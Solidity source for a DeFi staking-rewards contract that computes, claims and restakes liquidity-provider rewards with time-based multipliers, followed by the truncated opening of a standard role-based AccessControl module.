import "../token/ReserveToken.sol";
import "../liquidity-protection/interfaces/ILiquidityProtection.sol";
import "./interfaces/IStakingRewards.sol";
/**
* @dev This contract manages the distribution of the staking rewards
*/
contract StakingRewards is IStakingRewards, AccessControl, Time, Utils, ContractRegistryClient {
using SafeMath for uint256;
using ReserveToken for IReserveToken;
using SafeERC20 for IERC20;
using SafeERC20Ex for IERC20;
// the role is used to globally govern the contract and its governing roles.
bytes32 public constant ROLE_SUPERVISOR = keccak256("ROLE_SUPERVISOR");
// the roles is used to restrict who is allowed to publish liquidity protection events.
bytes32 public constant ROLE_PUBLISHER = keccak256("ROLE_PUBLISHER");
// the roles is used to restrict who is allowed to update/cache provider rewards.
bytes32 public constant ROLE_UPDATER = keccak256("ROLE_UPDATER");
// the weekly 25% increase of the rewards multiplier (in units of PPM).
uint32 private constant MULTIPLIER_INCREMENT = PPM_RESOLUTION / 4;
// the maximum weekly 200% rewards multiplier (in units of PPM).
uint32 private constant MAX_MULTIPLIER = PPM_RESOLUTION + MULTIPLIER_INCREMENT * 4;
// the rewards halving factor we need to take into account during the sanity verification process.
uint8 private constant REWARDS_HALVING_FACTOR = 4;
// since we will be dividing by the total amount of protected tokens in units of wei, we can encounter cases
// where the total amount in the denominator is higher than the product of the rewards rate and staking duration. In
// order to avoid this imprecision, we will amplify the reward rate by the units amount.
uint256 private constant REWARD_RATE_FACTOR = 1e18;
uint256 private constant MAX_UINT256 = uint256(-1);
// the staking rewards settings.
IStakingRewardsStore private immutable _store;
// the permissioned wrapper around the network token which should allow this contract to mint staking rewards.
ITokenGovernance private immutable _networkTokenGovernance;
// the address of the network token.
IERC20 private immutable _networkToken;
// the checkpoint store recording last protected position removal times.
ICheckpointStore private immutable _lastRemoveTimes;
/**
* @dev initializes a new StakingRewards contract
*/
constructor(
IStakingRewardsStore store,
ITokenGovernance networkTokenGovernance,
ICheckpointStore lastRemoveTimes,
IContractRegistry registry
)
public
validAddress(address(store))
validAddress(address(networkTokenGovernance))
validAddress(address(lastRemoveTimes))
ContractRegistryClient(registry)
{
_store = store;
_networkTokenGovernance = networkTokenGovernance;
_networkToken = networkTokenGovernance.token();
_lastRemoveTimes = lastRemoveTimes;
// set up administrative roles.
_setRoleAdmin(ROLE_SUPERVISOR, ROLE_SUPERVISOR);
_setRoleAdmin(ROLE_PUBLISHER, ROLE_SUPERVISOR);
_setRoleAdmin(ROLE_UPDATER, ROLE_SUPERVISOR);
// allow the deployer to initially govern the contract.
_setupRole(ROLE_SUPERVISOR, _msgSender());
}
modifier onlyPublisher() {
_onlyPublisher();
_;
}
function _onlyPublisher() internal view {
require(hasRole(ROLE_PUBLISHER, msg.sender), "ERR_ACCESS_DENIED");
}
modifier onlyUpdater() {
_onlyUpdater();
_;
}
function _onlyUpdater() internal view {
require(hasRole(ROLE_UPDATER, msg.sender), "ERR_ACCESS_DENIED");
}
/**
* @dev liquidity provision notification callback. The callback should be called *before* the liquidity is added in
* the LP contract
*
* Requirements:
*
* - the caller must have the ROLE_PUBLISHER role
*/
function onAddingLiquidity(
address provider,
IConverterAnchor poolAnchor,
IReserveToken reserveToken,
uint256, /* poolAmount */
uint256 /* reserveAmount */
) external override onlyPublisher validExternalAddress(provider) {
IDSToken poolToken = IDSToken(address(poolAnchor));
PoolProgram memory program = _poolProgram(poolToken);
if (program.startTime == 0) {
return;
}
_updateRewards(provider, poolToken, reserveToken, program, _liquidityProtectionStats());
}
/**
* @dev liquidity removal callback. The callback must be called *before* the liquidity is removed in the LP
* contract
*
* Requirements:
*
* - the caller must have the ROLE_PUBLISHER role
*/
function onRemovingLiquidity(
uint256, /* id */
address provider,
IConverterAnchor, /* poolAnchor */
IReserveToken, /* reserveToken */
uint256, /* poolAmount */
uint256 /* reserveAmount */
) external override onlyPublisher validExternalAddress(provider) {
ILiquidityProtectionStats lpStats = _liquidityProtectionStats();
// make sure that all pending rewards are properly stored for future claims, with retroactive rewards
// multipliers.
_storeRewards(provider, lpStats.providerPools(provider), lpStats);
}
/**
* @dev returns the staking rewards store
*/
function store() external view override returns (IStakingRewardsStore) {
return _store;
}
/**
* @dev returns specific provider's pending rewards for all participating pools
*/
function pendingRewards(address provider) external view override returns (uint256) {
return _pendingRewards(provider, _liquidityProtectionStats());
}
/**
* @dev returns specific provider's pending rewards for a specific participating pool
*/
function pendingPoolRewards(address provider, IDSToken poolToken) external view override returns (uint256) {
return _pendingRewards(provider, poolToken, _liquidityProtectionStats());
}
/**
* @dev returns specific provider's pending rewards for a specific participating pool/reserve
*/
function pendingReserveRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
) external view override returns (uint256) {
PoolProgram memory program = _poolProgram(poolToken);
return _pendingRewards(provider, poolToken, reserveToken, program, _liquidityProtectionStats());
}
/**
* @dev returns the current rewards multiplier for a provider in a given pool
*/
function rewardsMultiplier(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
) external view override returns (uint32) {
ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken);
PoolProgram memory program = _poolProgram(poolToken);
return _rewardsMultiplier(provider, providerRewards.effectiveStakingTime, program);
}
/**
* @dev returns specific provider's total claimed rewards from all participating pools
*/
function totalClaimedRewards(address provider) external view override returns (uint256) {
uint256 totalRewards = 0;
ILiquidityProtectionStats lpStats = _liquidityProtectionStats();
IDSToken[] memory poolTokens = lpStats.providerPools(provider);
for (uint256 i = 0; i < poolTokens.length; ++i) {
IDSToken poolToken = poolTokens[i];
PoolProgram memory program = _poolProgram(poolToken);
for (uint256 j = 0; j < program.reserveTokens.length; ++j) {
IReserveToken reserveToken = program.reserveTokens[j];
ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken);
totalRewards = totalRewards.add(providerRewards.totalClaimedRewards);
}
}
return totalRewards;
}
/**
* @dev claims pending rewards from all participating pools
*/
function claimRewards() external override returns (uint256) {
return _claimPendingRewards(msg.sender, _liquidityProtectionStats());
}
/**
* @dev stakes all pending rewards into another participating pool
*/
function stakeRewards(uint256 maxAmount, IDSToken newPoolToken) external override returns (uint256, uint256) {
return _stakeRewards(msg.sender, maxAmount, newPoolToken, _liquidityProtectionStats());
}
/**
* @dev stakes specific pending rewards into another participating pool
*/
function stakeReserveRewards(
IDSToken poolToken,
IReserveToken reserveToken,
uint256 maxAmount,
IDSToken newPoolToken
) external override returns (uint256, uint256) {
return _stakeRewards(msg.sender, poolToken, reserveToken, maxAmount, newPoolToken, _liquidityProtectionStats());
}
/**
* @dev store pending rewards for a list of providers in a specific pool for future claims
*
* Requirements:
*
* - the caller must have the ROLE_UPDATER role
*/
function storePoolRewards(address[] calldata providers, IDSToken poolToken) external override onlyUpdater {
ILiquidityProtectionStats lpStats = _liquidityProtectionStats();
PoolProgram memory program = _poolProgram(poolToken);
for (uint256 i = 0; i < providers.length; ++i) {
for (uint256 j = 0; j < program.reserveTokens.length; ++j) {
_storeRewards(providers[i], poolToken, program.reserveTokens[j], program, lpStats, false);
}
}
}
/**
* @dev returns specific provider's pending rewards for all participating pools
*/
function _pendingRewards(address provider, ILiquidityProtectionStats lpStats) private view returns (uint256) {
return _pendingRewards(provider, lpStats.providerPools(provider), lpStats);
}
/**
* @dev returns specific provider's pending rewards for a specific list of participating pools
*/
function _pendingRewards(
address provider,
IDSToken[] memory poolTokens,
ILiquidityProtectionStats lpStats
) private view returns (uint256) {
uint256 reward = 0;
uint256 length = poolTokens.length;
for (uint256 i = 0; i < length; ++i) {
uint256 poolReward = _pendingRewards(provider, poolTokens[i], lpStats);
reward = reward.add(poolReward);
}
return reward;
}
/**
* @dev returns specific provider's pending rewards for a specific pool
*/
function _pendingRewards(
address provider,
IDSToken poolToken,
ILiquidityProtectionStats lpStats
) private view returns (uint256) {
uint256 reward = 0;
PoolProgram memory program = _poolProgram(poolToken);
for (uint256 i = 0; i < program.reserveTokens.length; ++i) {
uint256 reserveReward = _pendingRewards(provider, poolToken, program.reserveTokens[i], program, lpStats);
reward = reward.add(reserveReward);
}
return reward;
}
/**
* @dev returns specific provider's pending rewards for a specific pool/reserve
*/
function _pendingRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private view returns (uint256) {
if (!_isProgramValid(reserveToken, program)) {
return 0;
}
// calculate the new reward rate per-token
PoolRewards memory poolRewardsData = _poolRewards(poolToken, reserveToken);
// rewardPerToken must be calculated with the previous value of lastUpdateTime
poolRewardsData.rewardPerToken = _rewardPerToken(poolToken, reserveToken, poolRewardsData, program, lpStats);
poolRewardsData.lastUpdateTime = Math.min(_time(), program.endTime);
// update provider's rewards with the newly claimable base rewards and the new reward rate per-token
ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken);
// if this is the first liquidity provision - set the effective staking time to the current time
if (
providerRewards.effectiveStakingTime == 0 &&
lpStats.totalProviderAmount(provider, poolToken, reserveToken) == 0
) {
providerRewards.effectiveStakingTime = _time();
}
// pendingBaseRewards must be calculated with the previous value of providerRewards.rewardPerToken
providerRewards.pendingBaseRewards = providerRewards.pendingBaseRewards.add(
_baseRewards(provider, poolToken, reserveToken, poolRewardsData, providerRewards, program, lpStats)
);
providerRewards.rewardPerToken = poolRewardsData.rewardPerToken;
// get full rewards and the respective rewards multiplier
(uint256 fullReward, ) = _fullRewards(
provider,
poolToken,
reserveToken,
poolRewardsData,
providerRewards,
program,
lpStats
);
return fullReward;
}
/**
* @dev claims specific provider's pending rewards for a specific list of participating pools
*/
function _claimPendingRewards(
address provider,
IDSToken[] memory poolTokens,
uint256 maxAmount,
ILiquidityProtectionStats lpStats,
bool resetStakingTime
) private returns (uint256) {
uint256 reward = 0;
uint256 length = poolTokens.length;
for (uint256 i = 0; i < length && maxAmount > 0; ++i) {
uint256 poolReward = _claimPendingRewards(provider, poolTokens[i], maxAmount, lpStats, resetStakingTime);
reward = reward.add(poolReward);
if (maxAmount != MAX_UINT256) {
maxAmount = maxAmount.sub(poolReward);
}
}
return reward;
}
/**
* @dev claims specific provider's pending rewards for a specific pool
*/
function _claimPendingRewards(
address provider,
IDSToken poolToken,
uint256 maxAmount,
ILiquidityProtectionStats lpStats,
bool resetStakingTime
) private returns (uint256) {
uint256 reward = 0;
PoolProgram memory program = _poolProgram(poolToken);
for (uint256 i = 0; i < program.reserveTokens.length && maxAmount > 0; ++i) {
uint256 reserveReward = _claimPendingRewards(
provider,
poolToken,
program.reserveTokens[i],
program,
maxAmount,
lpStats,
resetStakingTime
);
reward = reward.add(reserveReward);
if (maxAmount != MAX_UINT256) {
maxAmount = maxAmount.sub(reserveReward);
}
}
return reward;
}
/**
* @dev claims specific provider's pending rewards for a specific pool/reserve
*/
function _claimPendingRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolProgram memory program,
uint256 maxAmount,
ILiquidityProtectionStats lpStats,
bool resetStakingTime
) private returns (uint256) {
// update all provider's pending rewards, in order to apply retroactive reward multipliers
(PoolRewards memory poolRewardsData, ProviderRewards memory providerRewards) = _updateRewards(
provider,
poolToken,
reserveToken,
program,
lpStats
);
// get full rewards and the respective rewards multiplier
(uint256 fullReward, uint32 multiplier) = _fullRewards(
provider,
poolToken,
reserveToken,
poolRewardsData,
providerRewards,
program,
lpStats
);
// mark any debt as repaid.
providerRewards.baseRewardsDebt = 0;
providerRewards.baseRewardsDebtMultiplier = 0;
if (maxAmount != MAX_UINT256 && fullReward > maxAmount) {
// get the amount of the actual base rewards that were claimed
providerRewards.baseRewardsDebt = _removeMultiplier(fullReward.sub(maxAmount), multiplier);
// store the current multiplier for future retroactive rewards correction
providerRewards.baseRewardsDebtMultiplier = multiplier;
// grant only maxAmount rewards
fullReward = maxAmount;
}
// update pool rewards data total claimed rewards
_store.updatePoolRewardsData(
poolToken,
reserveToken,
poolRewardsData.lastUpdateTime,
poolRewardsData.rewardPerToken,
poolRewardsData.totalClaimedRewards.add(fullReward)
);
// update provider rewards data with the remaining pending rewards and if needed, set the effective
// staking time to the timestamp of the current block
_store.updateProviderRewardsData(
provider,
poolToken,
reserveToken,
providerRewards.rewardPerToken,
0,
providerRewards.totalClaimedRewards.add(fullReward),
resetStakingTime ? _time() : providerRewards.effectiveStakingTime,
providerRewards.baseRewardsDebt,
providerRewards.baseRewardsDebtMultiplier
);
return fullReward;
}
/**
* @dev claims specific provider's pending rewards from all participating pools
*/
function _claimPendingRewards(address provider, ILiquidityProtectionStats lpStats) private returns (uint256) {
return _claimPendingRewards(provider, lpStats.providerPools(provider), MAX_UINT256, lpStats);
}
/**
* @dev claims specific provider's pending rewards for a specific list of participating pools
*/
function _claimPendingRewards(
address provider,
IDSToken[] memory poolTokens,
uint256 maxAmount,
ILiquidityProtectionStats lpStats
) private returns (uint256) {
uint256 amount = _claimPendingRewards(provider, poolTokens, maxAmount, lpStats, true);
if (amount == 0) {
return amount;
}
// make sure to update the last claim time so that it'll be taken into effect when calculating the next rewards
// multiplier
_store.updateProviderLastClaimTime(provider);
// mint the reward tokens directly to the provider
_networkTokenGovernance.mint(provider, amount);
emit RewardsClaimed(provider, amount);
return amount;
}
/**
* @dev stakes specific provider's pending rewards from all participating pools
*/
function _stakeRewards(
address provider,
uint256 maxAmount,
IDSToken poolToken,
ILiquidityProtectionStats lpStats
) private returns (uint256, uint256) {
return _stakeRewards(provider, lpStats.providerPools(provider), maxAmount, poolToken, lpStats);
}
/**
* @dev claims and stakes specific provider's pending rewards from a specific list of participating pools
*/
function _stakeRewards(
address provider,
IDSToken[] memory poolTokens,
uint256 maxAmount,
IDSToken newPoolToken,
ILiquidityProtectionStats lpStats
) private returns (uint256, uint256) {
uint256 amount = _claimPendingRewards(provider, poolTokens, maxAmount, lpStats, false);
if (amount == 0) {
return (amount, 0);
}
return (amount, _stakeClaimedRewards(amount, provider, newPoolToken));
}
/**
* @dev claims and stakes specific provider's pending rewards from a specific list of participating pools
*/
function _stakeRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
uint256 maxAmount,
IDSToken newPoolToken,
ILiquidityProtectionStats lpStats
) private returns (uint256, uint256) {
uint256 amount = _claimPendingRewards(
provider,
poolToken,
reserveToken,
_poolProgram(poolToken),
maxAmount,
lpStats,
false
);
if (amount == 0) {
return (amount, 0);
}
return (amount, _stakeClaimedRewards(amount, provider, newPoolToken));
}
/**
* @dev stakes claimed rewards into another participating pool
*/
function _stakeClaimedRewards(
uint256 amount,
address provider,
IDSToken newPoolToken
) private returns (uint256) {
// approve the LiquidityProtection contract to pull the rewards
ILiquidityProtection liquidityProtection = _liquidityProtection();
address liquidityProtectionAddress = address(liquidityProtection);
_networkToken.ensureApprove(liquidityProtectionAddress, amount);
// mint the reward tokens directly to the staking contract, so that the LiquidityProtection could pull the
// rewards and attribute them to the provider
_networkTokenGovernance.mint(address(this), amount);
uint256 newId = liquidityProtection.addLiquidityFor(
provider,
newPoolToken,
IReserveToken(address(_networkToken)),
amount
);
// please note, that in order to incentivize staking, we won't be updating the time of the last claim, thus
// preserving the rewards bonus multiplier
emit RewardsStaked(provider, newPoolToken, amount, newId);
return newId;
}
/**
* @dev store specific provider's pending rewards for future claims
*/
function _storeRewards(
address provider,
IDSToken[] memory poolTokens,
ILiquidityProtectionStats lpStats
) private {
for (uint256 i = 0; i < poolTokens.length; ++i) {
IDSToken poolToken = poolTokens[i];
PoolProgram memory program = _poolProgram(poolToken);
for (uint256 j = 0; j < program.reserveTokens.length; ++j) {
_storeRewards(provider, poolToken, program.reserveTokens[j], program, lpStats, true);
}
}
}
/**
* @dev store specific provider's pending rewards for future claims
*/
function _storeRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolProgram memory program,
ILiquidityProtectionStats lpStats,
bool resetStakingTime
) private {
if (!_isProgramValid(reserveToken, program)) {
return;
}
// update all provider's pending rewards, in order to apply retroactive reward multipliers
(PoolRewards memory poolRewardsData, ProviderRewards memory providerRewards) = _updateRewards(
provider,
poolToken,
reserveToken,
program,
lpStats
);
// get full rewards and the respective rewards multiplier
(uint256 fullReward, uint32 multiplier) = _fullRewards(
provider,
poolToken,
reserveToken,
poolRewardsData,
providerRewards,
program,
lpStats
);
// get the amount of the actual base rewards that were claimed
providerRewards.baseRewardsDebt = _removeMultiplier(fullReward, multiplier);
// update store data with the store pending rewards and set the last update time to the timestamp of the
// current block. if we're resetting the effective staking time, then we'd have to store the rewards multiplier in order to
// account for it in the future. Otherwise, we must store base rewards without any rewards multiplier
_store.updateProviderRewardsData(
provider,
poolToken,
reserveToken,
providerRewards.rewardPerToken,
0,
providerRewards.totalClaimedRewards,
resetStakingTime ? _time() : providerRewards.effectiveStakingTime,
providerRewards.baseRewardsDebt,
resetStakingTime ? multiplier : PPM_RESOLUTION
);
}
/**
* @dev updates pool rewards
*/
function _updateReserveRewards(
IDSToken poolToken,
IReserveToken reserveToken,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private returns (PoolRewards memory) {
// calculate the new reward rate per-token and update it in the store
PoolRewards memory poolRewardsData = _poolRewards(poolToken, reserveToken);
bool update = false;
// rewardPerToken must be calculated with the previous value of lastUpdateTime
uint256 newRewardPerToken = _rewardPerToken(poolToken, reserveToken, poolRewardsData, program, lpStats);
if (poolRewardsData.rewardPerToken != newRewardPerToken) {
poolRewardsData.rewardPerToken = newRewardPerToken;
update = true;
}
uint256 newLastUpdateTime = Math.min(_time(), program.endTime);
if (poolRewardsData.lastUpdateTime != newLastUpdateTime) {
poolRewardsData.lastUpdateTime = newLastUpdateTime;
update = true;
}
if (update) {
_store.updatePoolRewardsData(
poolToken,
reserveToken,
poolRewardsData.lastUpdateTime,
poolRewardsData.rewardPerToken,
poolRewardsData.totalClaimedRewards
);
}
return poolRewardsData;
}
/**
* @dev updates provider rewards. this function is called during every liquidity changes
*/
function _updateProviderRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolRewards memory poolRewardsData,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private returns (ProviderRewards memory) {
// update provider's rewards with the newly claimable base rewards and the new reward rate per-token
ProviderRewards memory providerRewards = _providerRewards(provider, poolToken, reserveToken);
bool update = false;
// if this is the first liquidity provision - set the effective staking time to the current time
if (
providerRewards.effectiveStakingTime == 0 &&
lpStats.totalProviderAmount(provider, poolToken, reserveToken) == 0
) {
providerRewards.effectiveStakingTime = _time();
update = true;
}
// pendingBaseRewards must be calculated with the previous value of providerRewards.rewardPerToken
uint256 rewards = _baseRewards(
provider,
poolToken,
reserveToken,
poolRewardsData,
providerRewards,
program,
lpStats
);
if (rewards != 0) {
providerRewards.pendingBaseRewards = providerRewards.pendingBaseRewards.add(rewards);
update = true;
}
if (providerRewards.rewardPerToken != poolRewardsData.rewardPerToken) {
providerRewards.rewardPerToken = poolRewardsData.rewardPerToken;
update = true;
}
if (update) {
_store.updateProviderRewardsData(
provider,
poolToken,
reserveToken,
providerRewards.rewardPerToken,
providerRewards.pendingBaseRewards,
providerRewards.totalClaimedRewards,
providerRewards.effectiveStakingTime,
providerRewards.baseRewardsDebt,
providerRewards.baseRewardsDebtMultiplier
);
}
return providerRewards;
}
/**
* @dev updates pool and provider rewards. this function is called during every liquidity changes
*/
function _updateRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private returns (PoolRewards memory, ProviderRewards memory) {
PoolRewards memory poolRewardsData = _updateReserveRewards(poolToken, reserveToken, program, lpStats);
ProviderRewards memory providerRewards = _updateProviderRewards(
provider,
poolToken,
reserveToken,
poolRewardsData,
program,
lpStats
);
return (poolRewardsData, providerRewards);
}
/**
* @dev returns the aggregated reward rate per-token
*/
function _rewardPerToken(
IDSToken poolToken,
IReserveToken reserveToken,
PoolRewards memory poolRewardsData,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private view returns (uint256) {
// if there is no longer any liquidity in this reserve, return the historic rate (i.e., rewards won't accrue)
uint256 totalReserveAmount = lpStats.totalReserveAmount(poolToken, reserveToken);
if (totalReserveAmount == 0) {
return poolRewardsData.rewardPerToken;
}
// don't grant any rewards before the starting time of the program
uint256 currentTime = _time();
if (currentTime < program.startTime) {
return 0;
}
uint256 stakingEndTime = Math.min(currentTime, program.endTime);
uint256 stakingStartTime = Math.max(program.startTime, poolRewardsData.lastUpdateTime);
if (stakingStartTime == stakingEndTime) {
return poolRewardsData.rewardPerToken;
}
// since we will be dividing by the total amount of protected tokens in units of wei, we can encounter cases
// where the total amount in the denominator is higher than the product of the rewards rate and staking duration.
// in order to avoid this imprecision, we will amplify the reward rate by the units amount
return
poolRewardsData.rewardPerToken.add( // the aggregated reward rate
stakingEndTime
.sub(stakingStartTime) // the duration of the staking
.mul(program.rewardRate) // multiplied by the rate
.mul(REWARD_RATE_FACTOR) // and factored to increase precision
.mul(_rewardShare(reserveToken, program)).div(totalReserveAmount.mul(PPM_RESOLUTION)) // and applied the specific token share of the whole reward // and divided by the total protected tokens amount in the pool
);
}
/**
* @dev returns the base rewards since the last claim
*/
function _baseRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolRewards memory poolRewardsData,
ProviderRewards memory providerRewards,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private view returns (uint256) {
uint256 totalProviderAmount = lpStats.totalProviderAmount(provider, poolToken, reserveToken);
uint256 newRewardPerToken = _rewardPerToken(poolToken, reserveToken, poolRewardsData, program, lpStats);
return totalProviderAmount.mul(newRewardPerToken.sub(providerRewards.rewardPerToken)).div(REWARD_RATE_FACTOR); // the protected tokens amount held by the provider // multiplied by the difference between the previous and the current rate // and factored back
}
/**
* @dev returns the full rewards since the last claim
*/
function _fullRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken,
PoolRewards memory poolRewardsData,
ProviderRewards memory providerRewards,
PoolProgram memory program,
ILiquidityProtectionStats lpStats
) private view returns (uint256, uint32) {
// calculate the claimable base rewards (since the last claim)
uint256 newBaseRewards = _baseRewards(
provider,
poolToken,
reserveToken,
poolRewardsData,
providerRewards,
program,
lpStats
);
// make sure that we aren't exceeding the reward rate for any reason
_verifyBaseReward(newBaseRewards, providerRewards.effectiveStakingTime, reserveToken, program);
// calculate pending rewards and apply the rewards multiplier
uint32 multiplier = _rewardsMultiplier(provider, providerRewards.effectiveStakingTime, program);
uint256 fullReward = _applyMultiplier(providerRewards.pendingBaseRewards.add(newBaseRewards), multiplier);
// add any debt, while applying the best retroactive multiplier
fullReward = fullReward.add(
_applyHigherMultiplier(
providerRewards.baseRewardsDebt,
multiplier,
providerRewards.baseRewardsDebtMultiplier
)
);
// make sure that we aren't exceeding the full reward rate for any reason
_verifyFullReward(fullReward, reserveToken, poolRewardsData, program);
return (fullReward, multiplier);
}
/**
* @dev returns the specific reserve token's share of all rewards
*/
function _rewardShare(IReserveToken reserveToken, PoolProgram memory program) private pure returns (uint32) {
if (reserveToken == program.reserveTokens[0]) {
return program.rewardShares[0];
}
return program.rewardShares[1];
}
/**
* @dev returns the rewards multiplier for the specific provider
*/
function _rewardsMultiplier(
address provider,
uint256 stakingStartTime,
PoolProgram memory program
) private view returns (uint32) {
uint256 effectiveStakingEndTime = Math.min(_time(), program.endTime);
uint256 effectiveStakingStartTime = Math.max( // take the latest of actual staking start time and the latest multiplier reset
Math.max(stakingStartTime, program.startTime), // don't count staking before the start of the program
Math.max(_lastRemoveTimes.checkpoint(provider), _store.providerLastClaimTime(provider)) // get the latest multiplier reset timestamp
);
// check that the staking range is valid. for example, it can be invalid when calculating the multiplier when
// the staking has started before the start of the program, in which case the effective staking start time will
// be in the future, compared to the effective staking end time (which will be the time of the current block)
if (effectiveStakingStartTime >= effectiveStakingEndTime) {
return PPM_RESOLUTION;
}
uint256 effectiveStakingDuration = effectiveStakingEndTime.sub(effectiveStakingStartTime);
// given x representing the staking duration (in seconds), the resulting multiplier (in PPM) is:
// * for 0 <= x <= 1 weeks: 100% PPM
// * for 1 <= x <= 2 weeks: 125% PPM
// * for 2 <= x <= 3 weeks: 150% PPM
// * for 3 <= x <= 4 weeks: 175% PPM
// * for x > 4 weeks: 200% PPM
return PPM_RESOLUTION + MULTIPLIER_INCREMENT * uint32(Math.min(effectiveStakingDuration.div(1 weeks), 4));
}
/**
* @dev returns the pool program for a specific pool
*/
function _poolProgram(IDSToken poolToken) private view returns (PoolProgram memory) {
PoolProgram memory program;
(program.startTime, program.endTime, program.rewardRate, program.reserveTokens, program.rewardShares) = _store
.poolProgram(poolToken);
return program;
}
/**
* @dev returns pool rewards for a specific pool and reserve
*/
function _poolRewards(IDSToken poolToken, IReserveToken reserveToken) private view returns (PoolRewards memory) {
PoolRewards memory data;
(data.lastUpdateTime, data.rewardPerToken, data.totalClaimedRewards) = _store.poolRewards(
poolToken,
reserveToken
);
return data;
}
/**
* @dev returns provider rewards for a specific pool and reserve
*/
function _providerRewards(
address provider,
IDSToken poolToken,
IReserveToken reserveToken
) private view returns (ProviderRewards memory) {
ProviderRewards memory data;
(
data.rewardPerToken,
data.pendingBaseRewards,
data.totalClaimedRewards,
data.effectiveStakingTime,
data.baseRewardsDebt,
data.baseRewardsDebtMultiplier
) = _store.providerRewards(provider, poolToken, reserveToken);
return data;
}
/**
* @dev applies the multiplier on the provided amount
*/
function _applyMultiplier(uint256 amount, uint32 multiplier) private pure returns (uint256) {
if (multiplier == PPM_RESOLUTION) {
return amount;
}
return amount.mul(multiplier).div(PPM_RESOLUTION);
}
/**
* @dev removes the multiplier on the provided amount
*/
function _removeMultiplier(uint256 amount, uint32 multiplier) private pure returns (uint256) {
if (multiplier == PPM_RESOLUTION) {
return amount;
}
return amount.mul(PPM_RESOLUTION).div(multiplier);
}
/**
* @dev applies the best of two rewards multipliers on the provided amount
*/
function _applyHigherMultiplier(
uint256 amount,
uint32 multiplier1,
uint32 multiplier2
) private pure returns (uint256) {
return _applyMultiplier(amount, multiplier1 > multiplier2 ? multiplier1 : multiplier2);
}
/**
* @dev performs a sanity check on the newly claimable base rewards
*/
function _verifyBaseReward(
uint256 baseReward,
uint256 stakingStartTime,
IReserveToken reserveToken,
PoolProgram memory program
) private view {
// don't grant any rewards before the starting time of the program or for stakes after the end of the program
uint256 currentTime = _time();
if (currentTime < program.startTime || stakingStartTime >= program.endTime) {
require(baseReward == 0, "ERR_BASE_REWARD_TOO_HIGH");
return;
}
uint256 effectiveStakingStartTime = Math.max(stakingStartTime, program.startTime);
uint256 effectiveStakingEndTime = Math.min(currentTime, program.endTime);
// make sure that we aren't exceeding the base reward rate for any reason
require(
baseReward <=
(program.rewardRate * REWARDS_HALVING_FACTOR)
.mul(effectiveStakingEndTime.sub(effectiveStakingStartTime))
.mul(_rewardShare(reserveToken, program))
.div(PPM_RESOLUTION),
"ERR_BASE_REWARD_RATE_TOO_HIGH"
);
}
/**
* @dev performs a sanity check on the newly claimable full rewards
*/
function _verifyFullReward(
uint256 fullReward,
IReserveToken reserveToken,
PoolRewards memory poolRewardsData,
PoolProgram memory program
) private pure {
uint256 maxClaimableReward = (
(program.rewardRate * REWARDS_HALVING_FACTOR)
.mul(program.endTime.sub(program.startTime))
.mul(_rewardShare(reserveToken, program))
.mul(MAX_MULTIPLIER)
.div(PPM_RESOLUTION)
.div(PPM_RESOLUTION)
).sub(poolRewardsData.totalClaimedRewards);
// make sure that we aren't exceeding the full reward rate for any reason
require(fullReward <= maxClaimableReward, "ERR_REWARD_RATE_TOO_HIGH");
}
/**
* @dev returns the liquidity protection stats data contract
*/
function _liquidityProtectionStats() private view returns (ILiquidityProtectionStats) {
return _liquidityProtection().stats();
}
/**
* @dev returns the liquidity protection contract
*/
function _liquidityProtection() private view returns (ILiquidityProtection) {
return ILiquidityProtection(_addressOf(LIQUIDITY_PROTECTION));
}
/**
* @dev returns if the program is valid
*/
function _isProgramValid(IReserveToken reserveToken, PoolProgram memory program) private pure returns (bool) {
return
address(reserveToken) != address(0) &&
(program.reserveTokens[0] == reserveToken || program.reserveTokens[1] == reserveToken);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
